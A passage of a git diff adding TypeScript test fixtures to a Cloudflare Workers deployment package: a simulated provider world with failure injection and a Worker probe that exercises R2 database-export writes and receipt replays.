+          this.#database.exec(statement.sql);
+          recorded.push({
+            sql: statement.sql,
+            bindings: [],
+            mode: 'exec',
+          });
+        } else {
+          this.#database.prepare(statement.sql).all(...bindings);
+          recorded.push({
+            sql: statement.sql,
+            bindings: [...bindings],
+            mode: 'prepare',
+          });
+        }
+      }
+      this.#database.exec('COMMIT');
+      this.#statementLog.push(...recorded);
+    } catch (error) {
+      this.#database.exec('ROLLBACK');
+      throw error;
+    }
+  }
+
+  clone(): D1State {
+    const cloned = new D1State();
+    for (const statement of this.#statementLog) {
+      if (statement.mode === 'exec') {
+        cloned.#database.exec(statement.sql);
+      } else {
+        cloned.#database.prepare(statement.sql).all(...statement.bindings);
+      }
+      cloned.#statementLog.push({
+        ...statement,
+        bindings: [...statement.bindings],
+      });
+    }
+    return cloned;
+  }
+}
+
+export interface ProviderVersion {
+  readonly versionId: string;
+  readonly tag: string | undefined;
+  readonly bindings: readonly unknown[];
+  readonly mainModule: string;
+  readonly modules: readonly WorkerModule[];
+}
+
+export interface ProviderScript {
+  present: boolean;
+  versions: ProviderVersion[];
+  deployment?: Array<{ versionId: string; percentage: number }>;
+  deploymentId?: string;
+  subdomain: { enabled: boolean; previewsEnabled: boolean };
+  secretNames: Set<string>;
+}
+
+/** The deployment identity a script reports until a fixture seeds its own. */
+export const FIXTURE_DEPLOYMENT_ID = 'deployment';
+
+/** The one deployment identity both the read and the write path answer with. */
+export function deploymentIdentity(
+  script: Pick<ProviderScript, 'deploymentId'> | undefined,
+): string {
+  return script?.deploymentId ?? FIXTURE_DEPLOYMENT_ID;
+}
+
+export interface ProviderDatabase {
+  readonly databaseId: string;
+  readonly name: string;
+  readonly d1: D1State;
+}
+
+export type ProviderDatabaseIdMode = 'sequence' | 'uuid';
+
+export interface ProviderUpload {
+  readonly scriptName: string;
+  readonly mode: 'initial' | 'staged';
+  readonly tag: string | undefined;
+  readonly bindings: readonly unknown[];
+  readonly mainModule: string;
+  readonly modules: readonly WorkerModule[];
+  readonly publicAccess?: {
+    readonly workersDevEnabled: boolean;
+    readonly previewUrlsEnabled: boolean;
+  };
+}
+
+/** A provider failure at a logical backend operation boundary. */
+export interface ProviderFailure {
+  /**
+   * Whether the selected request commits before its response is lost. A
+   * non-dispatched failure settles without its own handler recording a
+   * mutation. The CLI projection throws a supplied `error` from every
+   * operation it serves; on the REST projection only the two upload handlers
+   * do, because the upload dispatch is the sanitizer's one call site
+   * (`sanitizeProviderError` inside `dispatchOrdinaryWorkerUpload`) and a
+   * returned 400 would erase the injected message there. The other REST
+   * handlers uniformly answer a non-retryable 400, because an endpoint on the
+   * client's default `maxRetries` budget would otherwise retry a thrown error
+   * and commit the mutation on the retry, with the default hook already
+   * consumed.
+   */
+  readonly dispatched: boolean;
+  /** Consecutive uses before the failure is removed; defaults to one. */
+  readonly times?: number;
+  readonly duplicate?: boolean;
+  readonly error?: Error;
+  /** REST-only; honoured by upload handlers and rejected by the CLI projection. */
+  readonly response?: Response;
+  /**
+   * Selects where a DISPATCHED REST initial upload settles: the public-access
+   * POST by default (both mutations committed, the response lost) or `script`
+   * (the script PUT committed, public access left unchanged). The initial
+   * script PUT refuses `{ dispatched: false, at: 'public-access' }` and
+   * settles any other non-dispatched failure before it records the upload.
+   * The staged versions POST never reads this selector and settles a
+   * non-dispatched failure before it records the version; the direct client
+   * may already have converged public access for that staged upload. A
+   * supplied `error` is thrown from the fetch at `script`, at the dispatched
+   * staged versions POST, and at both non-dispatched upload sites; each of
+   * those throws happens inside `send()` with `maxRetries: 0`, so the SDK
+   * wraps it as `APIConnectionError`, whose cause chain the sanitizer
+   * rebuilds rather than collapsing. It is refused at the public-access POST,
+   * which is outside the sanitizer and keeps the SDK's retries. The CLI lane
+   * ignores this selector because one deploy command commits the complete
+   * operation.
+   */
+  readonly at?: 'script' | 'public-access';
+}
+
+export interface WorkerRoute {
+  readonly zoneId: string;
+  readonly id: string;
+  readonly pattern: string;
+  readonly script: string;
+}
+
+type AfterEffect = (world: ProviderWorld) => void | Promise<void>;
+
+class WorldAllocators {
+  #counters = new Map<string, number>();
+
+  versionId(world: ProviderWorld): string {
+    return this.#next(
+      'version',
+      new Set(
+        [...world.scripts.values()].flatMap(({ versions }) =>
+          versions.map(({ versionId }) => versionId),
+        ),
+      ),
+    );
+  }
+
+  namespaceId(world: ProviderWorld): string {
+    return this.#next(
+      'namespace',
+      new Set(world.durableObjectNamespaces.map(({ id }) => id)),
+    );
+  }
+
+  databaseId(world: ProviderWorld, mode: ProviderDatabaseIdMode): string {
+    const occupied = new Set(
+      world.databases.map(({ databaseId }) => databaseId),
+    );
+    if (mode === 'sequence') return this.#next('database', occupied);
+    for (;;) {
+      const next = (this.#counters.get('database') ?? 0) + 1;
+      this.#counters.set('database', next);
+      const candidate = `00000000-0000-4000-8000-${String(next).padStart(12, '0')}`;
+      if (!occupied.has(candidate)) return candidate;
+    }
+  }
+
+  domainId(world: ProviderWorld): string {
+    return this.#next(
+      'domain',
+      new Set(world.customDomains.map(({ id }) => id)),
+    );
+  }
+
+  clone(): WorldAllocators {
+    const cloned = new WorldAllocators();
+    cloned.#counters = new Map(this.#counters);
+    return cloned;
+  }
+
+  #next(prefix: string, occupied: Set<string>): string {
+    for (;;) {
+      const next = (this.#counters.get(prefix) ?? 0) + 1;
+      this.#counters.set(prefix, next);
+      const candidate = `${prefix}-${next}`;
+      if (!occupied.has(candidate)) return candidate;
+    }
+  }
+}
+
+function cloneModule(module: WorkerModule): WorkerModule {
+  return {
+    ...module,
+    content:
+      module.content instanceof Uint8Array
+        ? new Uint8Array(module.content)
+        : module.content,
+  };
+}
+
+function cloneBinding(binding: unknown): unknown {
+  return structuredClone(binding);
+}
+
+function stringField(value: unknown, field: string): string | undefined {
+  if (!value || typeof value !== 'object') return undefined;
+  const candidate = Reflect.get(value, field);
+  return typeof candidate === 'string' ? candidate : undefined;
+}
+
+function bindingType(value: unknown): string | undefined {
+  return stringField(value, 'type');
+}
+
+function secretNamesFrom(bindings: readonly unknown[]): Set<string> {
+  return new Set(
+    bindings.flatMap((binding) => {
+      const name = stringField(binding, 'name');
+      return bindingType(binding) === 'secret_text' && name ? [name] : [];
+    }),
+  );
+}
+
+export class ProviderWorld {
+  readonly scripts = new Map<string, ProviderScript>();
+  readonly databases: ProviderDatabase[] = [];
+  readonly customDomains: Array<{
+    id: string;
+    hostname: string;
+    service: string;
+  }> = [];
+  readonly zones: Array<{ id: string; name?: string; type?: string }> = [];
+  readonly routes: WorkerRoute[] = [];
+  readonly durableObjectNamespaces: Array<{
+    id: string;
+    script: string;
+    className: string;
+  }> = [];
+  readonly dispatchNamespaces: Array<{
+    name: string;
+    scripts: Array<{ name: string; bindings: readonly unknown[] }>;
+  }> = [];
+  readonly queues: Array<{ queueId: string; queueName: string }> = [];
+  readonly exports = new Map<string, Uint8Array>();
+  readonly mutationLog: string[] = [];
+  maintenanceOrigin = 'https://control-acme.example.test';
+  routeOrigin = 'https://acme.example.test';
+  /** The account subdomain the provider answers workers.dev reads with. */
+  accountSubdomain = 'attested-account';
+  #allocators = new WorldAllocators();
+  readonly #failures = new Map<string, ProviderFailure>();
+  readonly #afterEffects = new Map<string, AfterEffect>();
+  readonly #deferredFailures = new Set<string>();
+
+  constructor(readonly databaseIdMode: ProviderDatabaseIdMode = 'sequence') {}
+
+  failNext(operation: string, failure: ProviderFailure): void {
+    if (this.#failures.has(operation)) {
+      throw new Error(`failure already registered for '${operation}'`);
+    }
+    if (!Number.isSafeInteger(failure.times ?? 1) || (failure.times ?? 1) < 1) {
+      throw new Error('failure times must be a positive safe integer');
+    }
+    this.#failures.set(operation, { ...failure });
+  }
+
+  afterNext(operation: string, effect: AfterEffect): void {
+    if (this.#afterEffects.has(operation)) {
+      throw new Error(`after-effect already registered for '${operation}'`);
+    }
+    this.#afterEffects.set(operation, effect);
+  }
+
+  consumeFailure(operation: string): ProviderFailure | undefined {
+    const failure = this.#failures.get(operation);
+    if (failure && (failure.times ?? 1) > 1) {
+      this.#failures.set(operation, {
+        ...failure,
+        times: (failure.times ?? 1) - 1,
+      });
+    } else {
+      this.#failures.delete(operation);
+    }
+    this.#deferredFailures.delete(operation);
+    return failure;
+  }
+
+  peekFailure(operation: string): ProviderFailure | undefined {
+    return this.#failures.get(operation);
+  }
+
+  deferFailure(operation: string): void {
+    if (!this.#failures.has(operation)) {
+      throw new Error(`cannot defer missing failure '${operation}'`);
+    }
+    this.#deferredFailures.add(operation);
+  }
+
+  consumeDeferredFailure(operation: string): ProviderFailure | undefined {
+    if (!this.#deferredFailures.has(operation)) return undefined;
+    return this.consumeFailure(operation);
+  }
+
+  pendingHookNames(): readonly string[] {
+    return [
+      ...[...this.#failures.keys()].map((name) => `failure:${name}`),
+      ...[...this.#afterEffects.keys()].map((name) => `after:${name}`),
+    ].sort();
+  }
+
+  async applyAfter(operation: string): Promise<void> {
+    const effect = this.#afterEffects.get(operation);
+    this.#afterEffects.delete(operation);
+    await effect?.(this);
+  }
+
+  createDatabase(
+    name: string,
+    databaseId = this.#allocators.databaseId(this, this.databaseIdMode),
+  ) {
+    const database = this.#insertDatabase(name, databaseId);
+    this.mutationLog.push(`create-database:${databaseId}`);
+    return database;
+  }
+
+  seedDatabase(
+    name: string,
+    options: {
+      readonly databaseId?: string;
+      readonly exportBytes?: Uint8Array;
+    } = {},
+  ): ProviderDatabase {
+    const database = this.#insertDatabase(
+      name,
+      options.databaseId ??
+        this.#allocators.databaseId(this, this.databaseIdMode),
+    );
+    if (options.exportBytes) {
+      this.exports.set(
+        database.databaseId,
+        new Uint8Array(options.exportBytes),
+      );
+    }
+    return database;
+  }
+
+  seedScript(
+    scriptName: string,
+    script: Omit<ProviderScript, 'present' | 'secretNames'> &
+      Partial<Pick<ProviderScript, 'present' | 'secretNames'>>,
+  ): ProviderScript {
+    const seeded: ProviderScript = {
+      present: script.present ?? true,
+      versions: script.versions.map((version) => ({
+        ...version,
+        bindings: version.bindings.map(cloneBinding),
+        modules: version.modules.map(cloneModule),
+      })),
+      ...(script.deployment
+        ? { deployment: script.deployment.map((version) => ({ ...version })) }
+        : {}),
+      ...(script.deploymentId ? { deploymentId: script.deploymentId } : {}),
+      subdomain: { ...script.subdomain },
+      secretNames:
+        script.secretNames ??
+        secretNamesFrom(script.versions[0]?.bindings ?? []),
+    };
+    this.scripts.set(scriptName, seeded);
+    return seeded;
+  }
+
+  applyUpload(upload: ProviderUpload, options: { duplicate?: boolean } = {}) {
+    const script = this.scripts.get(upload.scriptName) ?? {
+      present: true,
+      versions: [],
+      subdomain: { enabled: false, previewsEnabled: false },
+      secretNames: new Set<string>(),
+    };
+    script.present = true;
+    const count = options.duplicate ? 2 : 1;
+    const versions: ProviderVersion[] = [];
+    for (let index = 0; index < count; index += 1) {
+      const bindings = upload.bindings.map((binding) => {
+        const cloned = cloneBinding(binding);
+        if (
+          bindingType(cloned) !== 'durable_object_namespace' ||
+          !cloned ||
+          typeof cloned !== 'object'
+        ) {
+          return cloned;
+        }
+        const className = stringField(cloned, 'class_name');
+        if (!className) return cloned;
+        let namespace = this.durableObjectNamespaces.find(
+          (candidate) =>
+            candidate.script === upload.scriptName &&
+            candidate.className === className,
+        );
+        if (!namespace) {
+          namespace = {
+            id: this.#allocators.namespaceId(this),
+            script: upload.scriptName,
+            className,
+          };
+          this.durableObjectNamespaces.push(namespace);
+        }
+        Reflect.set(cloned, 'namespace_id', namespace.id);
+        return cloned;
+      });
+      const version = {
+        versionId: this.#allocators.versionId(this),
+        tag: upload.tag,
+        bindings,
+        mainModule: upload.mainModule,
+        modules: upload.modules.map(cloneModule),
+      };
+      script.versions.unshift(version);
+      versions.push(version);
+    }
+    script.secretNames = secretNamesFrom(versions[0]?.bindings ?? []);
+    if (upload.mode === 'initial') {
+      script.deployment = [
+        { versionId: versions[0]?.versionId ?? '', percentage: 100 },
+      ];
+    }
+    if (upload.publicAccess) {
+      // wrangler deploy applies workers_dev and preview_urls from its config in
+      // the same command, so only uploads carrying that config write this state.
+      script.subdomain = {
+        enabled: upload.publicAccess.workersDevEnabled,
+        previewsEnabled: upload.publicAccess.previewUrlsEnabled,
+      };
+    }
+    this.scripts.set(upload.scriptName, script);
+    this.mutationLog.push(`upload:${upload.scriptName}`);
+    return versions;
+  }
+
+  allocateDomainId(): string {
+    return this.#allocators.domainId(this);
+  }
+
+  deleteScript(scriptName: string): void {
+    const script = this.scripts.get(scriptName);
+    if (script) {
+      script.present = false;
+      script.versions.length = 0;
+      delete script.deployment;
+      script.secretNames.clear();
+      script.subdomain = { enabled: false, previewsEnabled: false };
+    }
+    this.removeScriptNamespaces(scriptName);
+    this.mutationLog.push(`delete-script:${scriptName}`);
+  }
+
+  applyDeployment(
+    scriptName: string,
+    deployment: readonly {
+      readonly versionId: string;
+      readonly percentage: number;
+    }[],
+  ): 'deploy' | 'deploy-candidate' {
+    const script = this.scripts.get(scriptName);
+    if (!script) throw new Error(`cannot deploy absent Worker '${scriptName}'`);
+    script.deployment = deployment.map((version) => ({ ...version }));
+    const operation =
+      deployment.length === 1 && deployment[0]?.percentage === 100
+        ? 'deploy'
+        : 'deploy-candidate';
+    this.mutationLog.push(`${operation}:${scriptName}`);
+    return operation;
+  }
+
+  removeScriptNamespaces(scriptName: string): void {
+    for (
+      let index = this.durableObjectNamespaces.length - 1;
+      index >= 0;
+      index -= 1
+    ) {
+      if (this.durableObjectNamespaces[index]?.script === scriptName) {
+        this.durableObjectNamespaces.splice(index, 1);
+      }
+    }
+  }
+
+  clone(): ProviderWorld {
+    const cloned = new ProviderWorld(this.databaseIdMode);
+    cloned.maintenanceOrigin = this.maintenanceOrigin;
+    cloned.routeOrigin = this.routeOrigin;
+    cloned.accountSubdomain = this.accountSubdomain;
+    cloned.#allocators = this.#allocators.clone();
+    for (const [name, script] of this.scripts) {
+      cloned.seedScript(name, {
+        present: script.present,
+        versions: script.versions,
+        ...(script.deployment ? { deployment: script.deployment } : {}),
+        ...(script.deploymentId ? { deploymentId: script.deploymentId } : {}),
+        subdomain: script.subdomain,
+        secretNames: new Set(script.secretNames),
+      });
+    }
+    cloned.databases.push(
+      ...this.databases.map(({ databaseId, name, d1 }) => ({
+        databaseId,
+        name,
+        d1: d1.clone(),
+      })),
+    );
+    cloned.customDomains.push(
+      ...this.customDomains.map((domain) => ({ ...domain })),
+    );
+    cloned.zones.push(...this.zones.map((zone) => ({ ...zone })));
+    cloned.queues.push(...this.queues.map((queue) => ({ ...queue })));
+    cloned.routes.push(...this.routes.map((route) => ({ ...route })));
+    cloned.durableObjectNamespaces.push(
+      ...this.durableObjectNamespaces.map((namespace) => ({ ...namespace })),
+    );
+    cloned.dispatchNamespaces.push(
+      ...this.dispatchNamespaces.map((namespace) => ({
+        name: namespace.name,
+        scripts: namespace.scripts.map((script) => ({
+          name: script.name,
+          bindings: script.bindings.map(cloneBinding),
+        })),
+      })),
+    );
+    for (const [databaseId, bytes] of this.exports) {
+      cloned.exports.set(databaseId, new Uint8Array(bytes));
+    }
+    cloned.mutationLog.push(...this.mutationLog);
+    for (const [operation, failure] of this.#failures) {
+      cloned.#failures.set(operation, { ...failure });
+    }
+    for (const [operation, effect] of this.#afterEffects) {
+      cloned.#afterEffects.set(operation, effect);
+    }
+    for (const operation of this.#deferredFailures) {
+      cloned.#deferredFailures.add(operation);
+    }
+    return cloned;
+  }
+
+  #insertDatabase(name: string, databaseId: string): ProviderDatabase {
+    const database = { databaseId, name, d1: new D1State() };
+    this.databases.push(database);
+    this.exports.set(
+      databaseId,
+      new TextEncoder().encode('CREATE TABLE example (id TEXT PRIMARY KEY);\n'),
+    );
+    return database;
+  }
+}
+
+export function providerWorld(
+  databaseIdMode: ProviderDatabaseIdMode = 'sequence',
+): ProviderWorld {
+  return new ProviderWorld(databaseIdMode);
+}
+
+function versionDigest(
+  version: ProviderVersion | undefined,
+): string | undefined {
+  return version?.bindings.flatMap((binding) =>
+    bindingType(binding) === 'plain_text' &&
+    stringField(binding, 'name') === 'FLEET_SPEC_DIGEST'
+      ? [stringField(binding, 'text')]
+      : [],
+  )[0];
+}
+
+function maintenanceBody(digest: string | undefined): Response {
+  return Response.json({
+    alarmAt: 2_000,
+    lastSweepAt: 1_000,
+    lastPurgeAt: 1_000,
+    ...(digest ? { deploymentSpecDigest: digest } : {}),
+  });
+}
+
+export async function maintenanceResponder(
+  world: ProviderWorld,
+  request: {
+    readonly method: string;
+    readonly url: string;
+    readonly headers: Headers;
+  },
+): Promise<Response | undefined> {
+  const target = new URL(request.url);
+  if (target.origin !== world.maintenanceOrigin) return undefined;
+  const override = request.headers.get('Cloudflare-Workers-Version-Overrides');
+  const match = override?.match(/^([^=]+)="([^"]+)"$/u);
+  const routedScript = world.customDomains.find(
+    ({ hostname }) => hostname === new URL(world.routeOrigin).hostname,
+  )?.service;
+  const scriptName =
+    match?.[1] ??
+    routedScript ??
+    [...world.scripts.entries()].find(
+      ([, candidate]) => candidate.present,
+    )?.[0];
+  const state = scriptName ? world.scripts.get(scriptName) : undefined;
+  if (!scriptName || !state?.present) return maintenanceBody(undefined);
+  if (
+    request.method === 'POST' &&
+    target.pathname === '/admin/ensure-maintenance'
+  ) {
+    const failure = world.consumeFailure('ensureMaintenance');
+    if (failure && !failure.dispatched) {
+      return new Response(
+        failure.error?.message ?? 'injected maintenance failure',
+        { status: 400 },
+      );
+    }
+    const version =
+      match?.[1] === scriptName
+        ? state.versions.find(({ versionId }) => versionId === match[2])
+        : undefined;
+    await world.applyAfter('ensureMaintenance');
+    if (failure) {
+      return new Response(
+        failure.error?.message ?? 'injected maintenance failure',
+        { status: 400 },
+      );
+    }
+    return maintenanceBody(versionDigest(version));
+  }
+  if (
+    request.method === 'GET' &&
+    target.pathname === '/admin/maintenance-status'
+  ) {
+    const activeId = state.deployment?.find(
+      ({ percentage }) => percentage === 100,
+    )?.versionId;
+    const active = state.versions.find(({ versionId }) =>
+      match?.[1] === scriptName
+        ? versionId === match[2]
+        : versionId === activeId,
+    );
+    await world.applyAfter('readMaintenance');
+    return maintenanceBody(versionDigest(active));
+  }
+  return new Response('maintenance endpoint refused', { status: 404 });
+}
diff --git a/packages/fleet-control/test/fixtures/r2-export-harness-probe.ts b/packages/fleet-control/test/fixtures/r2-export-harness-probe.ts
new file mode 100644
index 00000000..8ab713e6
--- /dev/null
+++ b/packages/fleet-control/test/fixtures/r2-export-harness-probe.ts
@@ -0,0 +1,411 @@
+// SPDX-License-Identifier: Apache-2.0
+import type {
+  Crypto,
+  ExportedHandler,
+  R2Bucket,
+  FixedLengthStream as WorkerFixedLengthStream,
+  Response as WorkerResponse,
+} from '@cloudflare/workers-types';
+
+import { R2DatabaseExportStore } from '../../src/r2-export-store.js';
+
+declare const crypto: Crypto;
+declare const FixedLengthStream: typeof WorkerFixedLengthStream;
+declare const Response: typeof WorkerResponse;
+
+interface Env {
+  readonly EXPORTS: R2Bucket;
+}
+
+const RECEIPT_DATABASE_ID = '11111111-1111-1111-1111-111111111111';
+const RECEIPT_OPERATION_ID = '22222222-2222-4222-8222-222222222222';
+
+function sequence(length: number, seed: number): Uint8Array {
+  return Uint8Array.from({ length }, (_, index) => (index * 31 + seed) % 256);
+}
+
+function bodyFrom(value: Uint8Array): ReadableStream<Uint8Array> {
+  return new ReadableStream({
+    start(controller) {
+      controller.enqueue(value);
+      controller.close();
+    },
+  });
+}
+
+function equalBytes(left: Uint8Array, right: Uint8Array): boolean {
+  if (left.byteLength !== right.byteLength) return false;
+  for (let index = 0; index < left.byteLength; index += 1) {
+    if (left[index] !== right[index]) return false;
+  }
+  return true;
+}
+
+function toHex(value: ArrayBuffer): string {
+  return Array.from(new Uint8Array(value), (byte) =>
+    byte.toString(16).padStart(2, '0'),
+  ).join('');
+}
+
+function keyFromLocation(location: string): string {
+  const prefix = 'r2://exports/';
+  if (!location.startsWith(prefix)) throw new Error('unexpected location');
+  return location.slice(prefix.length);
+}
+
+function messageOf(reason: unknown): string {
+  return reason instanceof Error ? reason.message : String(reason);
+}
+
+function store(env: Env, uuid?: string): R2DatabaseExportStore {
+  return new R2DatabaseExportStore({
+    bucket: env.EXPORTS,
+    bucketName: 'exports',
+    keyPrefix: 'exports/',
+    streams: {
+      DigestStream: crypto.DigestStream,
+      FixedLengthStream,
+    },
+    randomUUID: uuid === undefined ? () => crypto.randomUUID() : () => uuid,
+  });
+}
+
+async function integrityOf(value: Uint8Array) {
+  const digest = new crypto.DigestStream('SHA-256');
+  await bodyFrom(value).pipeTo(digest);
+  return { size: value.byteLength, sha256: toHex(await digest.digest) };
+}
+
+function receiptIdentity(exportStore: R2DatabaseExportStore) {
+  return {
+    version: 1 as const,
+    authority: exportStore.receiptAuthority,
+    databaseId: RECEIPT_DATABASE_ID,
+    operationId: RECEIPT_OPERATION_ID,
+  };
+}
+
+function receiptKey(operationId = RECEIPT_OPERATION_ID): string {
+  return `exports/receipts/v1/${RECEIPT_DATABASE_ID}/${operationId}.sql`;
+}
+
+async function success(env: Env) {
+  const source = sequence(1_048_576, 17);
+  const result = await store(env).write({
+    databaseId: 'success-db',
+    fileName: 'export.sqlite3',
+    body: bodyFrom(source),
+    contentLength: source.byteLength,
+  });
+  const key = keyFromLocation(result.location);
+  const byteObject = await env.EXPORTS.get(key);
+  if (byteObject === null) throw new Error('success object missing');
+  const readback = await byteObject.bytes();
+  const digestObject = await env.EXPORTS.get(key);
+  if (digestObject === null) throw new Error('digest object missing');
+  const digest = new crypto.DigestStream('SHA-256');
+  await digestObject.body.pipeTo(digest);
+  const readbackSha256 = toHex(await digest.digest);
+  await env.EXPORTS.delete(key);
+  return {
+    location: result.location,
+    size: result.size,
+    sha256: result.sha256,
+    bytesEqual: equalBytes(readback, source),
+    objectSize: byteObject.size,
+    readbackSha256,
+    cleaned: (await env.EXPORTS.get(key)) === null,
+  };
+}
+
+async function empty(env: Env) {
+  const result = await Promise.allSettled([
+    store(env).write({
+      databaseId: 'empty-db',
+      fileName: 'export.sqlite3',
+      body: bodyFrom(new Uint8Array(0)),
+      contentLength: 0,
+    }),
+  ]);
+  const state = result[0];
+  if (state.status === 'fulfilled') throw new Error('empty export succeeded');
+  const listed = await env.EXPORTS.list({ prefix: 'exports/empty-db/' });
+  return {
+    message: messageOf(state.reason),
+    objectCount: listed.objects.length,
+  };
+}
+
+async function short(env: Env) {
+  const result = await Promise.allSettled([
+    store(env).write({
+      databaseId: 'short-db',
+      fileName: 'export.sqlite3',
+      body: bodyFrom(sequence(2, 3)),
+      contentLength: 4,
+    }),
+  ]);
+  const state = result[0];
+  if (state.status === 'fulfilled') throw new Error('short export succeeded');
+  const listed = await env.EXPORTS.list({ prefix: 'exports/short-db/' });
+  return {
+    message: messageOf(state.reason),
+    objectCount: listed.objects.length,
+  };
+}
+
+async function midTransferError(env: Env) {
+  const uuid = 'mid-transfer-uuid';
+  const prefix = 'exports/mid-transfer-db/';
+  let sent = false;
+  let pullCount = 0;
+  let bytesEnqueued = 0;
+  const body = new ReadableStream<Uint8Array>({
+    pull(controller) {
+      pullCount += 1;
+      if (!sent) {
+        sent = true;
+        const chunk = sequence(4096, 41);
+        bytesEnqueued += chunk.byteLength;
+        controller.enqueue(chunk);
+        return;
+      }
+      controller.error(new Error('mid-transfer source failure'));
+    },
+  });
+  const result = await Promise.allSettled([
+    store(env, uuid).write({
+      databaseId: 'mid-transfer-db',
+      fileName: 'export.sqlite3',
+      body,
+      contentLength: 8192,
+    }),
+  ]);
+  const state = result[0];
+  if (state.status === 'fulfilled') {
+    throw new Error('mid-transfer export succeeded');
+  }
+  const listed = await env.EXPORTS.list({ prefix });
+  return {
+    message: messageOf(state.reason),
+    objectCount: listed.objects.length,
+    pullCount,
+    bytesEnqueued,
+  };
+}
+
+async function collision(env: Env) {
+  const fixed = 'collision-uuid';
+  const first = sequence(4096, 11);
+  const second = sequence(4096, 29);
+  const exportStore = store(env, fixed);
+  const states = await Promise.allSettled([
+    exportStore.write({
+      databaseId: 'collision-db',
+      fileName: 'export.sqlite3',
+      body: bodyFrom(first),
+      contentLength: first.byteLength,
+    }),
+    exportStore.write({
+      databaseId: 'collision-db',
+      fileName: 'export.sqlite3',
+      body: bodyFrom(second),
+      contentLength: second.byteLength,
+    }),
+  ]);
+  let fulfilled = 0;
+  let rejected = 0;
+  let failureMessage: string | undefined;
+  for (const state of states) {
+    if (state.status === 'fulfilled') {
+      fulfilled += 1;
+    } else {
+      rejected += 1;
+      failureMessage = messageOf(state.reason);
+    }
+  }
+  if (fulfilled !== 1 || rejected !== 1 || failureMessage === undefined) {
+    throw new Error('collision did not produce one winner');
+  }
+  const key = `exports/collision-db/${fixed}-export.sqlite3`;
+  const object = await env.EXPORTS.get(key);
+  if (object === null) throw new Error('collision winner missing');
+  const winnerBytes = await object.bytes();
+  const winner = equalBytes(winnerBytes, first)
+    ? 'first'
+    : equalBytes(winnerBytes, second)
+      ? 'second'
+      : 'unknown';
+  await env.EXPORTS.delete(key);
+  return {
+    fulfilled,
+    rejected,
+    message: failureMessage,
+    winner,
+    objectSurvived: winner !== 'unknown',
+    cleaned: (await env.EXPORTS.get(key)) === null,
+  };
+}
+
+async function receiptReplay(env: Env) {
+  const source = sequence(16_384, 71);
+  const exportStore = store(env);
+  const identity = receiptIdentity(exportStore);
+  const first = await exportStore.writeReceipt({
+    identity,
+    body: bodyFrom(source),
+    contentLength: source.byteLength,
+    expectedIntegrity: integrityOf(source),
+  });
+  const replay = await exportStore.writeReceipt({
+    identity,
+    body: bodyFrom(source),
+    contentLength: source.byteLength,
+    expectedIntegrity: integrityOf(source),
+  });
+  const key = receiptKey();
+  const listed = await env.EXPORTS.list({
+    prefix: `exports/receipts/v1/${RECEIPT_DATABASE_ID}/`,
+  });
+  const object = await env.EXPORTS.get(key);
+  if (object === null) throw new Error('receipt replay object missing');
+  const stored = await object.bytes();
+  const customMetadata = object.customMetadata;
+  await env.EXPORTS.delete(key);
+  return {
+    sameResult:
+      first.location === replay.location &&
+      first.size === replay.size &&
+      first.sha256 === replay.sha256,
+    location: first.location,
+    objectCount: listed.objects.length,
+    bytesEqual: equalBytes(stored, source),
+    customMetadata,
+    cleaned: (await env.EXPORTS.get(key)) === null,
+  };
+}
+
+async function receiptConcurrent(env: Env) {
+  const source = sequence(12_288, 83);
+  const operationId = '33333333-3333-4333-8333-333333333333';
+  const exportStore = store(env);
+  const identity = { ...receiptIdentity(exportStore), operationId };
+  const [first, second] = await Promise.all([
+    exportStore.writeReceipt({
+      identity,
+      body: bodyFrom(source),
+      contentLength: source.byteLength,
+      expectedIntegrity: integrityOf(source),
+    }),
+    exportStore.writeReceipt({
+      identity,
+      body: bodyFrom(source),
+      contentLength: source.byteLength,
+      expectedIntegrity: integrityOf(source),
+    }),
+  ]);
+  const key = receiptKey(operationId);
+  const listed = await env.EXPORTS.list({
+    prefix: `exports/receipts/v1/${RECEIPT_DATABASE_ID}/`,
+  });
+  const object = await env.EXPORTS.get(key);
+  if (object === null) throw new Error('concurrent receipt object missing');
+  const stored = await object.bytes();
+  await env.EXPORTS.delete(key);
+  return {
+    sameResult:
+      first.location === second.location &&
+      first.size === second.size &&
+      first.sha256 === second.sha256,
+    location: first.location,
+    objectCount: listed.objects.length,
+    bytesEqual: equalBytes(stored, source),
+    cleaned: (await env.EXPORTS.get(key)) === null,
+  };
+}
+
+async function receiptMismatch(env: Env) {
+  const winner = sequence(8192, 97);
+  const challenger = sequence(8192, 101);
+  const operationId = '44444444-4444-4444-8444-444444444444';
+  const exportStore = store(env);
+  const identity = { ...receiptIdentity(exportStore), operationId };
+  const committed = await exportStore.writeReceipt({
+    identity,
+    body: bodyFrom(winner),
+    contentLength: winner.byteLength,
+    expectedIntegrity: integrityOf(winner),
+  });
+  const state = await Promise.allSettled([
+    exportStore.writeReceipt({
+      identity,
+      body: bodyFrom(challenger),
+      contentLength: challenger.byteLength,
+      expectedIntegrity: integrityOf(challenger),
+    }),
+  ]);
+  if (state[0].status === 'fulfilled') {
+    throw new Error('mismatched receipt replay succeeded');
+  }
+  const key = receiptKey(operationId);
+  const listed = await env.EXPORTS.list({
+    prefix: `exports/receipts/v1/${RECEIPT_DATABASE_ID}/`,
+  });
+  const object = await env.EXPORTS.get(key);
+  if (object === null) throw new Error('mismatched receipt winner missing');
+  const stored = await object.bytes();
+  await env.EXPORTS.delete(key);
+  return {
+    location: committed.location,
+    message: messageOf(state[0].reason),
+    objectCount: listed.objects.length,
+    winnerPreserved: equalBytes(stored, winner),
+    challengerRejected: !equalBytes(stored, challenger),
+    cleaned: (await env.EXPORTS.get(key)) === null,
+  };
+}
+
+async function dispatch(action: string, env: Env): Promise<WorkerResponse> {
+  switch (action) {
+    case 'success':
+      return Response.json(await success(env));
+    case 'empty':
+      return Response.json(await empty(env));
+    case 'short':
+      return Response.json(await short(env));
+    case 'mid-transfer-error':
+      return Response.json(await midTransferError(env));
+    case 'collision':
+      return Response.json(await collision(env));
+    case 'receipt-replay':
+      return Response.json(await receiptReplay(env));
+    case 'receipt-concurrent':
+      return Response.json(await receiptConcurrent(env));
+    case 'receipt-mismatch':
+      return Response.json(await receiptMismatch(env));
+    default:
+      return Response.json({ error: 'unknown action' }, { status: 400 });
+  }
+}
+
+export default {
+  async fetch(request, env) {
+    const url = new URL(request.url);
+    if (request.method !== 'POST' || url.pathname !== '/r2-export') {
+      return new Response('not found', { status: 404 });
+    }
+    const payload: unknown = await request.json();
+    if (typeof payload !== 'object' || payload === null) {
+      return Response.json({ error: 'invalid request' }, { status: 400 });
+    }
+    const action = Reflect.get(payload, 'action');
+    if (typeof action !== 'string') {
+      return Response.json({ error: 'invalid action' }, { status: 400 });
+    }
+    try {
+      return await dispatch(action, env);
+    } catch (error) {
